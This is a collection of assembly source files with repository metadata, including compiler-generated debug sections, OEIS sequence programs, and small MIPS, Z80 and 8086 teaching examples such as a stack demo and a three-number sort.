0x1 .long .LASF4 .byte 0x4 .long .LASF5 .long .LASF6 .quad .Ltext0 .quad .Letext0-.Ltext0 .long .Ldebug_line0 .uleb128 0x2 .string "std" .byte 0x4 .byte 0 .long 0x75 .uleb128 0x3 .long .LASF0 .byte 0x3 .value 0x104 .byte 0x41 .uleb128 0x4 .byte 0x3 .value 0x104 .byte 0x41 .long 0x38 .uleb128 0x5 .long .LASF7 .long 0x6f .uleb128 0x6 .long .LASF8 .byte 0x2 .byte 0x63 .byte 0x11 .long .LASF9 .long 0x125 .byte 0x1 .long 0x68 .uleb128 0x7 .long 0x137 .byte 0 .byte 0 .uleb128 0x8 .long 0x4a .byte 0 .uleb128 0x9 .long .LASF10 .byte 0x3 .value 0x106 .byte 0xb .long 0x95 .uleb128 0x3 .long .LASF0 .byte 0x3 .value 0x108 .byte 0x41 .uleb128 0x4 .byte 0x3 .value 0x108 .byte 0x41 .long 0x82 .byte 0 .uleb128 0xa .string "baz" .byte 0x1 .byte 0x6 .byte 0x5 .long .LASF1 .long 0xb7 .quad .LFB19 .quad .LFE19-.LFB19 .uleb128 0x1 .byte 0x9c .uleb128 0xb .byte 0x4 .byte 0x5 .string "int" .uleb128 0xc .string "bar" .byte 0x1 .byte 0x4 .byte 0x5 .long .LASF11 .long 0xb7 .quad .LFB18 .quad .LFE18-.LFB18 .uleb128 0x1 .byte 0x9c .long 0x103 .uleb128 0xd .long 0x142 .quad .LBB6 .quad .LBE6-.LBB6 .byte 0x1 .byte 0x4 .byte 0x24 .uleb128 0xe .long 0x14c .byte 0 .byte 0 .uleb128 0xa .string "foo" .byte 0x1 .byte 0x3 .byte 0x5 .long .LASF2 .long 0xb7 .quad .LFB17 .quad .LFE17-.LFB17 .uleb128 0x1 .byte 0x9c .uleb128 0xf .byte 0x8 .long 0x132 .uleb128 0x10 .byte 0x1 .byte 0x6 .long .LASF3 .uleb128 0x8 .long 0x12b .uleb128 0xf .byte 0x8 .long 0x6f .uleb128 0x8 .long 0x137 .uleb128 0x11 .long 0x53 .long 0x14c .byte 0x3 .uleb128 0x12 .long .LASF12 .long 0x13d .byte 0 .byte 0 .section .debug_abbrev,"",@progbits .Ldebug_abbrev0: .uleb128 0x1 .uleb128 0x11 .byte 0x1 .uleb128 0x25 .uleb128 0xe .uleb128 0x13 .uleb128 0xb .uleb128 0x3 .uleb128 0xe .uleb128 0x1b .uleb128 0xe .uleb128 0x11 .uleb128 0x1 .uleb128 0x12 .uleb128 0x7 .uleb128 0x10 .uleb128 0x17 .byte 0 .byte 0 .uleb128 0x2 .uleb128 0x39 .byte 0x1 .uleb128 0x3 .uleb128 0x8 .uleb128 0x3a .uleb128 0xb .uleb128 0x3b .uleb128 0xb .uleb128 0x1 .uleb128 0x13 .byte 0 .byte 0 .uleb128 0x3 .uleb128 0x39 .byte 0 .uleb128 0x3 .uleb128 0xe .uleb128 0x3a .uleb128 0xb .uleb128 0x3b .uleb128 0x5 .uleb128 0x39 .uleb128 0xb .uleb128 0x89 .uleb128 0x19 .byte 0 .byte 0 .uleb128 0x4 .uleb128 0x3a .byte 0 .uleb128 0x3a .uleb128 0xb .uleb128 0x3b .uleb128 0x5 .uleb128 0x39 .uleb128 0xb .uleb128 0x18 .uleb128 0x13 .byte 0 .byte 0 .uleb128 0x5 .uleb128 0x2 .byte 0x1 .uleb128 0x3 .uleb128 0xe .uleb128 0x3c .uleb128 0x19 .uleb128 0x1 .uleb128 0x13 .byte 0 .byte 0 .uleb128 0x6 .uleb128 0x2e .byte 0x1 .uleb128 0x3f .uleb128 0x19 .uleb128 0x3 .uleb128 0xe .uleb128 0x3a .uleb128 0xb .uleb128 0x3b .uleb128 0xb .uleb128 0x39 .uleb128 0xb .uleb128 0x6e .uleb128 0xe .uleb128 0x49 .uleb128 0x13 .uleb128 0x32 .uleb128 0xb .uleb128 0x3c .uleb128 0x19 .uleb128 0x64 .uleb128 0x13 .byte 0 .byte 0 .uleb128 0x7 .uleb128 0x5 .byte 0 .uleb128 0x49 .uleb128 0x13 .uleb128 0x34 .uleb128 0x19 .byte 0 .byte 0 .uleb128 0x8 .uleb128 0x26 .byte 0 .uleb128 0x49 .uleb128 0x13 .byte 0 .byte 0 .uleb128 0x9 .uleb128 0x39 .byte 0x1 .uleb128 0x3 .uleb128 0xe .uleb128 0x3a .uleb128 0xb .uleb128 0x3b .uleb128 0x5 .uleb128 0x39 .uleb128 0xb .uleb128 0x1 .uleb128 0x13 .byte 0 .byte 0 .uleb128 0xa .uleb128 0x2e .byte 0 .uleb128 0x3f .uleb128 0x19 .uleb128 0x3 .uleb128 0x8 .uleb128 0x3a .uleb128 0xb .uleb128 0x3b .uleb128 0xb .uleb128 0x39 .uleb128 0xb .uleb128 0x6e .uleb128 0xe .uleb128 0x49 .uleb128 0x13 .uleb128 0x11 .uleb128 0x1 .uleb128 0x12 .uleb128 0x7 .uleb128 0x40 .uleb128 0x18 .uleb128 0x2117 .uleb128 0x19 .byte 0 .byte 0 .uleb128 0xb .uleb128 0x24 .byte 0 .uleb128 0xb .uleb128 0xb .uleb128 0x3e .uleb128 0xb .uleb128 0x3 .uleb128 0x8 .byte 0 .byte 0 .uleb128 0xc .uleb128 0x2e .byte 0x1 .uleb128 0x3f .uleb128 0x19 .uleb128 0x3 .uleb128 0x8 .uleb128 0x3a .uleb128 0xb .uleb128 0x3b .uleb128 0xb .uleb128 0x39 .uleb128 0xb .uleb128 0x6e .uleb128 0xe .uleb128 0x49 .uleb128 0x13 .uleb128 0x11 .uleb128 0x1 .uleb128 0x12 .uleb128 0x7 .uleb128 0x40 .uleb128 0x18 .uleb128 0x2117 .uleb128 0x19 .uleb128 0x1 .uleb128 0x13 .byte 0 .byte 0 .uleb128 0xd .uleb128 0x1d .byte 0x1 .uleb128 0x31 .uleb128 0x13 .uleb128 0x11 .uleb128 0x1 .uleb128 0x12 .uleb128 0x7 .uleb128 0x58 .uleb128 0xb .uleb128 0x59 .uleb128 0xb .uleb128 0x57 .uleb128 0xb .byte 0 .byte 0 .uleb128 0xe .uleb128 0x5 .byte 0 .uleb128 0x31 .uleb128 0x13 .byte 0 .byte 0 .uleb128 0xf .uleb128 0xf .byte 0 .uleb128 0xb .uleb128 0xb .uleb128 0x49 .uleb128 0x13 .byte 0 .byte 0 .uleb128 0x10 .uleb128 0x24 .byte 0 .uleb128 0xb .uleb128 0xb .uleb128 0x3e .uleb128 0xb .uleb128 0x3 .uleb128 0xe .byte 0 .byte 0 .uleb128 0x11 .uleb128 0x2e .byte 0x1 .uleb128 0x47 .uleb128 0x13 .uleb128 0x64 .uleb128 0x13 .uleb128 0x20 .uleb128 0xb .byte 0 .byte 0 .uleb128 0x12 .uleb128 0x5 .byte 0 .uleb128 0x3 .uleb128 0xe .uleb128 0x49 .uleb128 0x13 .uleb128 0x34 .uleb128 0x19 .byte 0 .byte 0 .byte 0 .section .debug_aranges,"",@progbits .long 0x2c .value 0x2 .long .Ldebug_info0 .byte 0x8 .byte 0 .value 0 .value 0 .quad .Ltext0 .quad .Letext0-.Ltext0 .quad 0 .quad 0 .section .debug_line,"",@progbits .Ldebug_line0: .section .debug_str,"MS",@progbits,1 .LASF1: .string "_Z3bazv" .LASF2: .string "_Z3foov" .LASF7: .string "type_info" .LASF10: .string "__gnu_cxx" .LASF3: .string "char" .LASF5: .string "/tmp/compiler-explorer-compiler119330-63-1ccesdf.nzyy/example.cpp" .LASF11: .string "_Z3barv" .LASF9: .string "_ZNKSt9type_info4nameEv" .LASF12: .string "this" .LASF0: .string "__cxx11" .LASF4: .string "GNU C++14 8.3.0 -masm=intel -mtune=generic -march=x86-64 -g -O1" .LASF8: .string "name" .LASF6: .string "/tmp/compiler-explorer-compiler119330-63-1ccesdf.nzyy" .ident "GCC: (Compiler-Explorer-Build) 8.3.0" .section .note.GNU-stack,"",@progbits
21.946746
102
0.460322
5f4696385aa4f98a7a37ac0a3329738f12783af9
607
asm
Assembly
programs/oeis/117/A117485.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/117/A117485.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/117/A117485.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A117485: Expansion of x^9/((1-x)*(1-x^2)*(1-x^3))^2. ; 1,2,5,10,18,30,49,74,110,158,221,302,407,536,698,896,1136,1424,1770,2176,2656,3216,3866,4616,5481,6466,7591,8866,10306,11926,13747,15778,18046,20566,23359,26446,29855,33600,37716,42224,47152,52528,58388,64752,71664 mov $2,$0 add $2,1 mov $3,$0 lpb $2 mov $0,$3 sub $2,1 sub $0,$2 mov $4,$0 add $4,1 mov $5,0 mov $6,$0 lpb $4 mov $0,$6 sub $4,1 sub $0,$4 seq $0,213042 ; Convolution of (1,0,2,0,3,0,...) and (1,0,0,2,0,0,3,0,0,...); i.e., (A027656(n)) and (A175676(n+2)). add $5,$0 lpe add $1,$5 lpe mov $0,$1
24.28
216
0.586491
a98954d41cf8e9a5ff3cd86d7dd2c2c454081668
451
asm
Assembly
Branches/if_equal_or_not.asm
berkcetinsaya/MIPSLanguageExamples
e1ec7ae15a38621e09fcf211f033497c495ee06b
[ "Apache-2.0" ]
null
null
null
Branches/if_equal_or_not.asm
berkcetinsaya/MIPSLanguageExamples
e1ec7ae15a38621e09fcf211f033497c495ee06b
[ "Apache-2.0" ]
null
null
null
Branches/if_equal_or_not.asm
berkcetinsaya/MIPSLanguageExamples
e1ec7ae15a38621e09fcf211f033497c495ee06b
[ "Apache-2.0" ]
null
null
null
.data value1: .word 55 value2: .word 55 message1: .asciiz "Equal\n" message2: .asciiz "Not Equal\n" .text main: li $v0, 5 syscall move $t0, $v0 li $v0, 5 syscall move $t1, $v0 #lw $t0, value1 #lw $t1, value2 beq $t0, $t1, equal j Notequal callexit: b exit equal: li $v0,4 la $a0, message1 syscall b callexit Notequal: li $v0,4 la $a0, message2 syscall b callexit exit: li $v0, 10 syscall
12.189189
33
0.596452
6e1a98b4210f5854c8d6201c138515f27732fb00
647
asm
Assembly
oeis/087/A087208.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/087/A087208.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/087/A087208.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A087208: Expansion of e.g.f.: exp(x)/(1-x^2). ; Submitted by Jamie Morken(s2.) ; 1,1,3,7,37,141,1111,5923,62217,426457,5599531,46910271,739138093,7318002277,134523132927,1536780478171,32285551902481,418004290062513,9879378882159187,142957467201379447,3754163975220491061,60042136224579367741,1734423756551866870183,30381320929637160076947,957401913616630512341017,18228792557782296046168201,622311243850809833021661051,12796612375563171824410077103,470467300351212233764375754557,10390849248957295521420982607637,409306551305554643375006906464591 mov $1,1 lpb $0 mul $1,$0 sub $0,1 mul $1,$0 sub $0,1 add $2,$1 lpe mov $0,$2 add $0,1
43.133333
467
0.825348
5818d9b3b97417fadf008b721ceee10c2f9d12ca
151
asm
Assembly
libsrc/_DEVELOPMENT/l/z80/integer/l_addu_hl_de.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/l/z80/integer/l_addu_hl_de.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/l/z80/integer/l_addu_hl_de.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
SECTION code_l PUBLIC l_addu_hl_de l_addu_hl_de: ; uses : hl, f ; carry set on overflow add hl,de ret nc ld hl,$ffff ret
9.4375
26
0.602649
cdd7cba1f49e777177cf19420b380ce347abf8c0
261
asm
Assembly
Irvine/Examples/ch17/HelloCom.asm
alieonsido/ASM_TESTING
4d5e2a3e11d921eeb50d69bbe4352cfc0e99afa7
[ "Apache-2.0" ]
null
null
null
Irvine/Examples/ch17/HelloCom.asm
alieonsido/ASM_TESTING
4d5e2a3e11d921eeb50d69bbe4352cfc0e99afa7
[ "Apache-2.0" ]
null
null
null
Irvine/Examples/ch17/HelloCom.asm
alieonsido/ASM_TESTING
4d5e2a3e11d921eeb50d69bbe4352cfc0e99afa7
[ "Apache-2.0" ]
null
null
null
TITLE Hello Program in COM format (HelloCom.asm) .model tiny .code org 100h ; must be before main main PROC mov ah,9 mov dx,OFFSET hello_message int 21h mov ax,4C00h int 21h main ENDP hello_message BYTE 'Hello, world!',0dh,0ah,'$' END main
16.3125
50
0.701149
f55c3a163aa180d5f12c66502aaa346977721148
419
asm
Assembly
oeis/051/A051731.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/051/A051731.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/051/A051731.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A051731: Triangle read by rows: T(n,k) = 1 if k divides n, T(n,k) = 0 otherwise (for n >= 1 and 1 <= k <= n). ; Submitted by Christian Krause ; 1,1,1,1,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0 seq $0,127446 ; Triangle T(n,k) = n*A051731(n,k) read by rows. min $0,1
59.857143
201
0.563246
dd78d241741bf03b50d4b713e8178ae61ac1879d
599
asm
Assembly
oeis/081/A081270.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/081/A081270.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/081/A081270.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A081270: Diagonal of triangular spiral in A051682. ; 3,16,38,69,109,158,216,283,359,444,538,641,753,874,1004,1143,1291,1448,1614,1789,1973,2166,2368,2579,2799,3028,3266,3513,3769,4034,4308,4591,4883,5184,5494,5813,6141,6478,6824,7179,7543,7916,8298,8689,9089,9498,9916,10343,10779,11224,11678,12141,12613,13094,13584,14083,14591,15108,15634,16169,16713,17266,17828,18399,18979,19568,20166,20773,21389,22014,22648,23291,23943,24604,25274,25953,26641,27338,28044,28759,29483,30216,30958,31709,32469,33238,34016,34803,35599,36404,37218,38041,38873,39714 mul $0,9 add $0,9 bin $0,2 div $0,9 sub $0,1
66.555556
499
0.786311
787b43374e9d89d2c8baea68353718effd9eddb6
444
asm
Assembly
oeis/191/A191904.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/191/A191904.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/191/A191904.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A191904: Square array read by antidiagonals up: T(n,k) = 1-k if k divides n, else 1. ; Submitted by Christian Krause ; 0,0,1,0,-1,1,0,1,1,1,0,-1,-2,1,1,0,1,1,1,1,1,0,-1,1,-3,1,1,1,0,1,-2,1,1,1,1,1,0,-1,1,1,-4,1,1,1,1,0,1,1,1,1,1,1,1,1,1,0,-1,-2,-3,1,-5,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,-1,1,1,1,1,-6,1,1,1,1,1,1,0,1,-2,1,-4,1,1,1,1 lpb $0 add $2,1 sub $0,$2 lpe sub $1,$0 add $0,1 add $2,2 lpb $0 gcd $0,$2 mov $1,1 lpe mov $0,$1
26.117647
217
0.540541
dc7daab6e623dacffa35b057906cf1451f9ba829
1,239
asm
Assembly
examples/stack.asm
AbdulrahmanAbumdas/emu8086
b99ea60f5dbf8647f278eef60ed1bd8a174468e5
[ "FSFAP" ]
287
2015-10-01T20:34:49.000Z
2022-03-31T09:19:39.000Z
examples/stack.asm
BurunluVoldi/emu8086
b99ea60f5dbf8647f278eef60ed1bd8a174468e5
[ "FSFAP" ]
6
2017-06-13T17:22:24.000Z
2021-01-29T23:40:11.000Z
examples/stack.asm
BurunluVoldi/emu8086
b99ea60f5dbf8647f278eef60ed1bd8a174468e5
[ "FSFAP" ]
239
2015-09-13T09:40:53.000Z
2022-03-29T14:15:16.000Z
; this sample shows how the stack works. ; click 'stack' button in emulator to see the contents of the stack. ; stack is important element in computer architecture. ; this code does nothing useful, except printing "Hi" in the end. name "stack" org 100h ; create tiny com file. mov ax, 1234h push ax mov dx, 5678h push dx pop bx pop cx ; function call pushes ip value of the next instruction: call tfunc mov ax, 7890h push ax pop bx ; interrupts are like funtions, ; but in addition they push code segment into the stack mov ax, 3 int 10h ; set standart video mode. ; a typical use of stack is to set segment registers. ; set ds to video memory segment: mov ax, 0b800h push ax pop ds ; print "hi": mov [170h], 'H' mov [172h], 'i' ; color attribute for 'h' mov [171h], 11001110b ; color attribute for 'i' mov [173h], 10011110b ; wait for any key press.... mov ah, 0 int 16h ; here we "pop" the ip value, ; and return control to the operating system: ret ; the test procedure: tfunc proc xor bx, bx xor cx, cx ; here we "pop" the ip value, ; and return control to the main program: ret endp
17.7
68
0.639225
63e7cec1d6682b0f2eb9388be0664f01fee5dcf9
1,076
asm
Assembly
stampaNumeriOrdineDecrescente.asm
edoardottt/Asm_mars_examples
4c763ef94a7345a03313b1626aed9642e07e0dad
[ "Unlicense" ]
21
2019-06-29T19:56:20.000Z
2021-09-08T08:06:52.000Z
stampaNumeriOrdineDecrescente.asm
edoardottt/Asm_mars_examples
4c763ef94a7345a03313b1626aed9642e07e0dad
[ "Unlicense" ]
null
null
null
stampaNumeriOrdineDecrescente.asm
edoardottt/Asm_mars_examples
4c763ef94a7345a03313b1626aed9642e07e0dad
[ "Unlicense" ]
7
2019-10-11T19:30:48.000Z
2022-02-11T08:08:53.000Z
.data richiesta: .asciiz "inserire valori (3) \n" vettore: .space 3 primo: .word 0 secondo: .word 0 terzo: .word 0 acapo: .asciiz "\n" .text la $t1,acapo la $t0,richiesta input: li $v0,4 # richiesta inserimento input move $a0,$t0 syscall inserisci: li $v0,5 syscall move $s0,$v0 li $v0,5 syscall move $s1,$v0 li $v0,5 syscall move $s2,$v0 confronta: bge $s0,$s1,seconfronto bge $s1,$s2,terconfronto sw $s2,primo sw $s1,secondo sw $s0,terzo j fine terconfronto: sw $s1,primo bge $s0,$s2,quaconfronto sw $s2,secondo sw $s0,terzo j fine quaconfronto: sw $s0,secondo sw $s2,terzo j fine seconfronto: bge $s0,$s2,s0primo sw $s2,primo sw $s0,secondo sw $s1,terzo j fine s0primo: sw $s0,primo bge $s1,$s2,secondoC sw $s2,secondo sw $s1,terzo j fine secondoC: sw $s1,secondo sw $s2,terzo j fine fine: lw $t3,primo lw $t4,secondo lw $t5,terzo li $v0,1 move $a0,$t3 syscall li $v0,4 move $a0,$t1 syscall li $v0,1 move $a0,$t4 syscall li $v0,4 move $a0,$t1 syscall li $v0,1 move $a0,$t5 syscall li $v0,4 move $a0,$t1 syscall
13.620253
43
0.669145
364e1e9e915a505eba200a1baedb4db49407065a
301
asm
Assembly
programs/oeis/053/A053837.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/053/A053837.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/053/A053837.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A053837: Sum of digits of n modulo 10. ; 0,1,2,3,4,5,6,7,8,9,1,2,3,4,5,6,7,8,9,0,2,3,4,5,6,7,8,9,0,1,3,4,5,6,7,8,9,0,1,2,4,5,6,7,8,9,0,1,2,3,5,6,7,8,9,0,1,2,3,4,6,7,8,9,0,1,2,3,4,5,7,8,9,0,1,2,3,4,5,6,8,9,0,1,2,3,4,5,6,7,9,0,1,2,3,4,5,6,7,8,1,2,3,4,5 lpb $0 add $1,$0 div $0,10 mod $1,10 lpe
33.444444
211
0.524917
d8fd2212f7f0b669dd08a98a4ac816a34d03d722
5,067
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xa0_notsx.log_21829_641.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xa0_notsx.log_21829_641.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xa0_notsx.log_21829_641.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r15 push %rax push %rbx lea addresses_UC_ht+0x5bc5, %r13 nop cmp %r15, %r15 movl $0x61626364, (%r13) nop nop nop sub %rax, %rax pop %rbx pop %rax pop %r15 pop %r13 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r15 push %rcx push %rdi push %rdx push %rsi // Load lea addresses_PSE+0x18085, %rdx inc %r15 vmovups (%rdx), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $1, %xmm2, %r12 nop sub %rcx, %rcx // Store mov $0x685, %rdi sub $2912, %r11 movw $0x5152, (%rdi) and $2582, %rcx // Load lea addresses_US+0x4805, %rcx nop nop nop nop nop and $12197, %r11 vmovups (%rcx), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $1, %xmm6, %r12 cmp $27211, %r15 // Store lea addresses_normal+0x11656, %rcx nop nop xor %rsi, %rsi movl $0x51525354, (%rcx) nop nop nop nop add %r11, %r11 // Faulty Load lea addresses_UC+0x1e285, %rdi nop nop nop nop add %rcx, %rcx movntdqa (%rdi), %xmm6 vpextrq $0, %xmm6, %rsi lea oracles, %r15 and $0xff, %rsi shlq $12, %rsi mov (%r15,%rsi,1), %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %r15 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_UC', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'src': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 9}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 10}} {'src': {'type': 'addresses_US', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 7}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 0}} [Faulty Load] {'src': {'type': 'addresses_UC', 'AVXalign': False, 'size': 16, 'NT': True, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 6}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
46.916667
2,999
0.65522
cd8d60eed73f802dc7b1738f9cbb981ed985a961
951
asm
Assembly
learn-assembly/asm101/asm101-02.asm
hailehong95/Practice-Coding
729acdd596f15657b717975bfa54da1e39114f8a
[ "MIT" ]
null
null
null
learn-assembly/asm101/asm101-02.asm
hailehong95/Practice-Coding
729acdd596f15657b717975bfa54da1e39114f8a
[ "MIT" ]
null
null
null
learn-assembly/asm101/asm101-02.asm
hailehong95/Practice-Coding
729acdd596f15657b717975bfa54da1e39114f8a
[ "MIT" ]
null
null
null
